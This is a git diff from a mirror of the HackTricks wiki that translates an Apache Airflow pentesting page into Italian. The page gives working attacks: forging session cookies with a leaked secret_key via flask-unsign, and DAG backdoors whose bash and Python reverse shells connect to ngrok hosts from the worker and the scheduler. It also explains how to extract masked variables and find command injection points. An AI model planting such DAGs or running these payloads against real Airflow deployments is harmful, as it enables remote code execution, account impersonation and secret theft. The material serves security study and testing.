mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-01-17 23:25:37 -08:00
Translated ['src/README.md', 'src/banners/hacktricks-training.md', 'src/
This commit is contained in:
@@ -1,23 +1,22 @@
|
||||
# Apache Airflow Security
|
||||
# Sicurezza di Apache Airflow
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
### Basic Information
|
||||
### Informazioni di Base
|
||||
|
||||
[**Apache Airflow**](https://airflow.apache.org) serves as a platform for **orchestrating and scheduling data pipelines or workflows**. The term "orchestration" in the context of data pipelines signifies the process of arranging, coordinating, and managing complex data workflows originating from various sources. The primary purpose of these orchestrated data pipelines is to furnish processed and consumable data sets. These data sets are extensively utilized by a myriad of applications, including but not limited to business intelligence tools, data science and machine learning models, all of which are foundational to the functioning of big data applications.
|
||||
[**Apache Airflow**](https://airflow.apache.org) funge da piattaforma per **l'orchestrazione e la pianificazione di pipeline di dati o flussi di lavoro**. Il termine "orchestrazione" nel contesto delle pipeline di dati indica il processo di organizzazione, coordinamento e gestione di flussi di lavoro complessi di dati provenienti da varie fonti. Lo scopo principale di queste pipeline di dati orchestrate è fornire set di dati elaborati e utilizzabili. Questi set di dati sono ampiamente utilizzati da una miriade di applicazioni, tra cui, ma non solo, strumenti di business intelligence, modelli di data science e machine learning, tutti fondamentali per il funzionamento delle applicazioni di big data.
|
||||
|
||||
Basically, Apache Airflow will allow you to **schedule the execution of code when something** (event, cron) **happens**.
|
||||
Fondamentalmente, Apache Airflow ti permetterà di **pianificare l'esecuzione di codice quando qualcosa** (evento, cron) **accade**.
|
||||
|
||||
### Local Lab
|
||||
### Laboratorio Locale
|
||||
|
||||
#### Docker-Compose
|
||||
|
||||
You can use the **docker-compose config file from** [**https://raw.githubusercontent.com/apache/airflow/main/docs/apache-airflow/start/docker-compose.yaml**](https://raw.githubusercontent.com/apache/airflow/main/docs/apache-airflow/start/docker-compose.yaml) to launch a complete apache airflow docker environment. (If you are in MacOS make sure to give at least 6GB of RAM to the docker VM).
|
||||
Puoi utilizzare il **file di configurazione docker-compose da** [**https://raw.githubusercontent.com/apache/airflow/main/docs/apache-airflow/start/docker-compose.yaml**](https://raw.githubusercontent.com/apache/airflow/main/docs/apache-airflow/start/docker-compose.yaml) per avviare un ambiente docker completo di apache airflow. (Se sei su MacOS assicurati di dare almeno 6GB di RAM alla VM docker).
|
||||
|
||||
#### Minikube
|
||||
|
||||
One easy way to **run apache airflo**w is to run it **with minikube**:
|
||||
|
||||
Un modo semplice per **eseguire apache airflow** è farlo **con minikube**:
|
||||
```bash
|
||||
helm repo add airflow-stable https://airflow-helm.github.io/charts
|
||||
helm repo update
|
||||
@@ -27,76 +26,72 @@ helm install airflow-release airflow-stable/airflow
|
||||
# Use this command to delete it
|
||||
helm delete airflow-release
|
||||
```
|
||||
### Configurazione di Airflow
|
||||
|
||||
### Airflow Configuration
|
||||
|
||||
Airflow might store **sensitive information** in its configuration or you can find weak configurations in place:
|
||||
Airflow potrebbe memorizzare **informazioni sensibili** nella sua configurazione o potresti trovare configurazioni deboli in atto:
|
||||
|
||||
{{#ref}}
|
||||
airflow-configuration.md
|
||||
{{#endref}}
|
||||
|
||||
### Airflow RBAC
|
||||
### RBAC di Airflow
|
||||
|
||||
Before start attacking Airflow you should understand **how permissions work**:
|
||||
Prima di iniziare ad attaccare Airflow, dovresti comprendere **come funzionano i permessi**:
|
||||
|
||||
{{#ref}}
|
||||
airflow-rbac.md
|
||||
{{#endref}}
|
||||
|
||||
### Attacks
|
||||
### Attacchi
|
||||
|
||||
#### Web Console Enumeration
|
||||
#### Enumerazione della Console Web
|
||||
|
||||
If you have **access to the web console** you might be able to access some or all of the following information:
|
||||
Se hai **accesso alla console web**, potresti essere in grado di accedere ad alcune o a tutte le seguenti informazioni:
|
||||
|
||||
- **Variables** (Custom sensitive information might be stored here)
|
||||
- **Connections** (Custom sensitive information might be stored here)
|
||||
- Access them in `http://<airflow>/connection/list/`
|
||||
- [**Configuration**](./#airflow-configuration) (Sensitive information like the **`secret_key`** and passwords might be stored here)
|
||||
- List **users & roles**
|
||||
- **Code of each DAG** (which might contain interesting info)
|
||||
- **Variabili** (Informazioni sensibili personalizzate potrebbero essere memorizzate qui)
|
||||
- **Connessioni** (Informazioni sensibili personalizzate potrebbero essere memorizzate qui)
|
||||
- Accedile in `http://<airflow>/connection/list/`
|
||||
- [**Configurazione**](./#airflow-configuration) (Informazioni sensibili come il **`secret_key`** e le password potrebbero essere memorizzate qui)
|
||||
- Elenca **utenti e ruoli**
|
||||
- **Codice di ogni DAG** (che potrebbe contenere informazioni interessanti)
|
||||
|
||||
#### Retrieve Variables Values
|
||||
#### Recupera i Valori delle Variabili
|
||||
|
||||
Variables can be stored in Airflow so the **DAGs** can **access** their values. It's similar to secrets of other platforms. If you have **enough permissions** you can access them in the GUI in `http://<airflow>/variable/list/`.\
|
||||
Airflow by default will show the value of the variable in the GUI, however, according to [**this**](https://marclamberti.com/blog/variables-with-apache-airflow/) it's possible to set a **list of variables** whose **value** will appear as **asterisks** in the **GUI**.
|
||||
Le variabili possono essere memorizzate in Airflow in modo che i **DAG** possano **accedere** ai loro valori. È simile ai segreti di altre piattaforme. Se hai **sufficienti permessi**, puoi accedervi nella GUI in `http://<airflow>/variable/list/`.\
|
||||
Airflow per impostazione predefinita mostrerà il valore della variabile nella GUI, tuttavia, secondo [**questo**](https://marclamberti.com/blog/variables-with-apache-airflow/), è possibile impostare un **elenco di variabili** il cui **valore** apparirà come **asterischi** nella **GUI**.
|
||||
|
||||
.png>)
|
||||
|
||||
However, these **values** can still be **retrieved** via **CLI** (you need to have DB access), **arbitrary DAG** execution, **API** accessing the variables endpoint (the API needs to be activated), and **even the GUI itself!**\
|
||||
To access those values from the GUI just **select the variables** you want to access and **click on Actions -> Export**.\
|
||||
Another way is to perform a **bruteforce** to the **hidden value** using the **search filtering** it until you get it:
|
||||
Tuttavia, questi **valori** possono ancora essere **recuperati** tramite **CLI** (è necessario avere accesso al DB), esecuzione di **DAG** arbitrari, **API** per accedere all'endpoint delle variabili (l'API deve essere attivata) e **anche la GUI stessa!**\
|
||||
Per accedere a quei valori dalla GUI, basta **selezionare le variabili** che desideri accedere e **cliccare su Azioni -> Esporta**.\
|
||||
Un altro modo è eseguire un **bruteforce** sul **valore nascosto** utilizzando il **filtro di ricerca** fino a ottenerlo:
|
||||
|
||||
.png>)
|
||||
|
||||
#### Privilege Escalation
|
||||
|
||||
If the **`expose_config`** configuration is set to **True**, from the **role User** and **upwards** can **read** the **config in the web**. In this config, the **`secret_key`** appears, which means any user with this valid they can **create its own signed cookie to impersonate any other user account**.
|
||||
#### Escalation dei Privilegi
|
||||
|
||||
Se la configurazione **`expose_config`** è impostata su **True**, da **ruolo Utente** e **superiore** possono **leggere** la **configurazione nel web**. In questa configurazione, appare il **`secret_key`**, il che significa che qualsiasi utente con questo valido può **creare il proprio cookie firmato per impersonare qualsiasi altro account utente**.
|
||||
```bash
|
||||
flask-unsign --sign --secret '<secret_key>' --cookie "{'_fresh': True, '_id': '12345581593cf26619776d0a1e430c412171f4d12a58d30bef3b2dd379fc8b3715f2bd526eb00497fcad5e270370d269289b65720f5b30a39e5598dad6412345', '_permanent': True, 'csrf_token': '09dd9e7212e6874b104aad957bbf8072616b8fbc', 'dag_status_filter': 'all', 'locale': 'en', 'user_id': '1'}"
|
||||
```
|
||||
|
||||
#### DAG Backdoor (RCE in Airflow worker)
|
||||
|
||||
If you have **write access** to the place where the **DAGs are saved**, you can just **create one** that will send you a **reverse shell.**\
|
||||
Note that this reverse shell is going to be executed inside an **airflow worker container**:
|
||||
|
||||
Se hai **accesso in scrittura** al luogo in cui i **DAG vengono salvati**, puoi semplicemente **crearne uno** che ti invierà una **reverse shell.**\
|
||||
Nota che questa reverse shell verrà eseguita all'interno di un **contenitore worker di airflow**:
|
||||
```python
|
||||
import pendulum
|
||||
from airflow import DAG
|
||||
from airflow.operators.bash import BashOperator
|
||||
|
||||
with DAG(
|
||||
dag_id='rev_shell_bash',
|
||||
schedule_interval='0 0 * * *',
|
||||
start_date=pendulum.datetime(2021, 1, 1, tz="UTC"),
|
||||
dag_id='rev_shell_bash',
|
||||
schedule_interval='0 0 * * *',
|
||||
start_date=pendulum.datetime(2021, 1, 1, tz="UTC"),
|
||||
) as dag:
|
||||
run = BashOperator(
|
||||
task_id='run',
|
||||
bash_command='bash -i >& /dev/tcp/8.tcp.ngrok.io/11433 0>&1',
|
||||
)
|
||||
run = BashOperator(
|
||||
task_id='run',
|
||||
bash_command='bash -i >& /dev/tcp/8.tcp.ngrok.io/11433 0>&1',
|
||||
)
|
||||
```
|
||||
|
||||
```python
|
||||
@@ -105,75 +100,66 @@ from airflow import DAG
|
||||
from airflow.operators.python import PythonOperator
|
||||
|
||||
def rs(rhost, port):
|
||||
s = socket.socket()
|
||||
s.connect((rhost, port))
|
||||
[os.dup2(s.fileno(),fd) for fd in (0,1,2)]
|
||||
pty.spawn("/bin/sh")
|
||||
s = socket.socket()
|
||||
s.connect((rhost, port))
|
||||
[os.dup2(s.fileno(),fd) for fd in (0,1,2)]
|
||||
pty.spawn("/bin/sh")
|
||||
|
||||
with DAG(
|
||||
dag_id='rev_shell_python',
|
||||
schedule_interval='0 0 * * *',
|
||||
start_date=pendulum.datetime(2021, 1, 1, tz="UTC"),
|
||||
dag_id='rev_shell_python',
|
||||
schedule_interval='0 0 * * *',
|
||||
start_date=pendulum.datetime(2021, 1, 1, tz="UTC"),
|
||||
) as dag:
|
||||
run = PythonOperator(
|
||||
task_id='rs_python',
|
||||
python_callable=rs,
|
||||
op_kwargs={"rhost":"8.tcp.ngrok.io", "port": 11433}
|
||||
)
|
||||
run = PythonOperator(
|
||||
task_id='rs_python',
|
||||
python_callable=rs,
|
||||
op_kwargs={"rhost":"8.tcp.ngrok.io", "port": 11433}
|
||||
)
|
||||
```
|
||||
#### DAG Backdoor (RCE nel scheduler di Airflow)
|
||||
|
||||
#### DAG Backdoor (RCE in Airflow scheduler)
|
||||
|
||||
If you set something to be **executed in the root of the code**, at the moment of this writing, it will be **executed by the scheduler** after a couple of seconds after placing it inside the DAG's folder.
|
||||
|
||||
Se imposti qualcosa per essere **eseguito nella radice del codice**, al momento della scrittura di questo documento, verrà **eseguito dallo scheduler** dopo un paio di secondi dalla sua collocazione all'interno della cartella del DAG.
|
||||
```python
|
||||
import pendulum, socket, os, pty
|
||||
from airflow import DAG
|
||||
from airflow.operators.python import PythonOperator
|
||||
|
||||
def rs(rhost, port):
|
||||
s = socket.socket()
|
||||
s.connect((rhost, port))
|
||||
[os.dup2(s.fileno(),fd) for fd in (0,1,2)]
|
||||
pty.spawn("/bin/sh")
|
||||
s = socket.socket()
|
||||
s.connect((rhost, port))
|
||||
[os.dup2(s.fileno(),fd) for fd in (0,1,2)]
|
||||
pty.spawn("/bin/sh")
|
||||
|
||||
rs("2.tcp.ngrok.io", 14403)
|
||||
|
||||
with DAG(
|
||||
dag_id='rev_shell_python2',
|
||||
schedule_interval='0 0 * * *',
|
||||
start_date=pendulum.datetime(2021, 1, 1, tz="UTC"),
|
||||
dag_id='rev_shell_python2',
|
||||
schedule_interval='0 0 * * *',
|
||||
start_date=pendulum.datetime(2021, 1, 1, tz="UTC"),
|
||||
) as dag:
|
||||
run = PythonOperator(
|
||||
task_id='rs_python2',
|
||||
python_callable=rs,
|
||||
op_kwargs={"rhost":"2.tcp.ngrok.io", "port": 144}
|
||||
run = PythonOperator(
|
||||
task_id='rs_python2',
|
||||
python_callable=rs,
|
||||
op_kwargs={"rhost":"2.tcp.ngrok.io", "port": 144}
|
||||
```
|
||||
#### Creazione di DAG
|
||||
|
||||
#### DAG Creation
|
||||
Se riesci a **compromettere una macchina all'interno del cluster DAG**, puoi creare nuovi **script DAG** nella cartella `dags/` e verranno **replicati nel resto delle macchine** all'interno del cluster DAG.
|
||||
|
||||
If you manage to **compromise a machine inside the DAG cluster**, you can create new **DAGs scripts** in the `dags/` folder and they will be **replicated in the rest of the machines** inside the DAG cluster.
|
||||
#### Iniezione di Codice DAG
|
||||
|
||||
#### DAG Code Injection
|
||||
Quando esegui un DAG dalla GUI puoi **passare argomenti** ad esso.\
|
||||
Pertanto, se il DAG non è codificato correttamente potrebbe essere **vulnerabile all'Iniezione di Comandi.**\
|
||||
Questo è ciò che è accaduto in questo CVE: [https://www.exploit-db.com/exploits/49927](https://www.exploit-db.com/exploits/49927)
|
||||
|
||||
When you execute a DAG from the GUI you can **pass arguments** to it.\
|
||||
Therefore, if the DAG is not properly coded it could be **vulnerable to Command Injection.**\
|
||||
That is what happened in this CVE: [https://www.exploit-db.com/exploits/49927](https://www.exploit-db.com/exploits/49927)
|
||||
|
||||
All you need to know to **start looking for command injections in DAGs** is that **parameters** are **accessed** with the code **`dag_run.conf.get("param_name")`**.
|
||||
|
||||
Moreover, the same vulnerability might occur with **variables** (note that with enough privileges you could **control the value of the variables** in the GUI). Variables are **accessed with**:
|
||||
Tutto ciò che devi sapere per **iniziare a cercare iniezioni di comandi nei DAG** è che **i parametri** sono **accessibili** con il codice **`dag_run.conf.get("param_name")`**.
|
||||
|
||||
Inoltre, la stessa vulnerabilità potrebbe verificarsi con **variabili** (nota che con privilegi sufficienti potresti **controllare il valore delle variabili** nella GUI). Le variabili sono **accessibili con**:
|
||||
```python
|
||||
from airflow.models import Variable
|
||||
[...]
|
||||
foo = Variable.get("foo")
|
||||
```
|
||||
|
||||
If they are used for example inside a a bash command, you could perform a command injection.
|
||||
Se vengono utilizzati, ad esempio, all'interno di un comando bash, potresti eseguire un'iniezione di comandi.
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
Reference in New Issue
Block a user